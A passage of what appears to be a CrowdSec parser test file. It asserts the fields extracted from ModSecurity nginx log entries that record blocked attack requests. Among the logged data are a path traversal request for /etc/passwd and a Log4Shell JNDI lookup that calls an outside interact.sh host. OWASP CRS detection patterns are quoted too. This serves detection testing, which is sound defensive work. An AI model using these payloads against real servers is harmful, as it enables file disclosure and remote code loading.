"2021/11/18 08:34:27" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["accuracy"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["cid"] == "1083" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' )" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["targethost"] == "10.0.1.61" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["tid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 20)" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["rule_id"] == "949110" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Meta["source_ip"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][5].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["loglevel"] == "error" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleline"] == "80" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["cid"] == "18722" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleid"] == "949110" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 370)" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["tid"] == "972" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["uniqueid"] == "1640518611" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["remote_addr"] == "161.97.102.240" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["rulefile"] == "/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruleseverity"] == "2" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["version"] == "OWASP_CRS/3.x.x" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["modsecmessage"] == "Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' )" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["time"] == "2021/12/26 12:36:51" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["accuracy"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["target_fqdn"] == "42.42.42.42" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["message"] == "2021/12/26 12:36:51 [error] 972#972: *18722 [client 161.97.102.240] ModSecurity: Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' ) [file \"/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"80\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 370)\"] [data \"\"] [severity \"2\"] [ver \"OWASP_CRS/3.x.x\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"192.168.0.1\"] [uri \"/\"] [unique_id \"1640518611\"] [ref \"\"], client: 161.97.102.240, server: 42.42.42.42, request: \"GET /?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a} HTTP/1.1\", host: \"hostname.domain:443\", referrer: \"${jndi:ldap://${hostName}.referer.c72643ci97rd1ek9i7u0c8rf8iejf6fms.interact.sh}\"" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["pid"] == "972" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["targethost"] == "192.168.0.1" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["request"] == "/?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a}" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["ruletag3"] == "attack-generic" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Parsed["maturity"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 370)" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["rule_id"] == "949110" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["source_ip"] == "161.97.102.240" results["s01-parse"]["crowdsecurity/modsecurity"][5].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["targeturi"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["modsecseverity"] == "Warning" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruleid"] == "930100" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["accuracy"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruleseverity"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["tid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag4"] == "OWASP_CRS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["loglevel"] == "info" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["maturity"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruleline"] == "29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' )" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag0"] == "application-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag1"] == "language-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag2"] == "platform-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruletag3"] == "attack-lfi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["targethost"] == "10.0.1.61" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"29\"] [id \"930100\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["cid"] == "1083" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_fqdn"] == "foobar.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["rule_id"] == "930100" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["loglevel"] == "info" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["maturity"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["targethost"] == "10.0.1.61" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["tid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["targeturi"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' )" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["modsecseverity"] == "Warning" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruleid"] == "930110" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["cid"] == "1083" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"51\"] [id \"930110\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["target_fqdn"] == "foobar.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["accuracy"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruleseverity"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["ruleline"] == "51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["rule_id"] == "930110" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["targeturi"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["modsecseverity"] == "Warning" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ref"] == "o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruleid"] == "930120" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruleline"] == "76" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag0"] == "application-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag3"] == "attack-lfi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["accuracy"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["loglevel"] == "info" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag4"] == "OWASP_CRS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruleseverity"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag1"] == "language-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["targethost"] == "10.0.1.61" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag2"] == "platform-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/FILE_INJECTION" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag6"] == "WASCTC/WASC-33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["cid"] == "1083" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["maturity"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"76\"] [id \"930120\"] [rev \"\"] [msg \"OS File Access Attempt\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/FILE_INJECTION\"] [tag \"WASCTC/WASC-33\"] [tag \"OWASP_TOP_10/A4\"] [tag \"PCI/6.5.4\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["rulemessage"] == "OS File Access Attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag8"] == "PCI/6.5.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["target_fqdn"] == "foobar.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["tid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["modsec_message"] == "OS File Access Attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["rule_id"] == "930120" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["target_fqdn"] == "foobar.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf\"] [line \"488\"] [id \"932160\"] [rev \"\"] [msg \"Remote Command Execution: Unix Shell Code Found\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-shell\"] [tag \"platform-unix\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION\"] [tag \"WASCTC/WASC-31\"] [tag \"OWASP_TOP_10/A1\"] [tag \"PCI/6.5.2\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag4"] == "OWASP_CRS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["accuracy"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag1"] == "language-shell" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ref"] == "o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["targeturi"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["pid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruleseverity"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag0"] == "application-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag6"] == "WASCTC/WASC-31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag8"] == "PCI/6.5.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruleid"] == "932160" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["targethost"] == "10.0.1.61" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["cid"] == "1083" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["loglevel"] == "info" 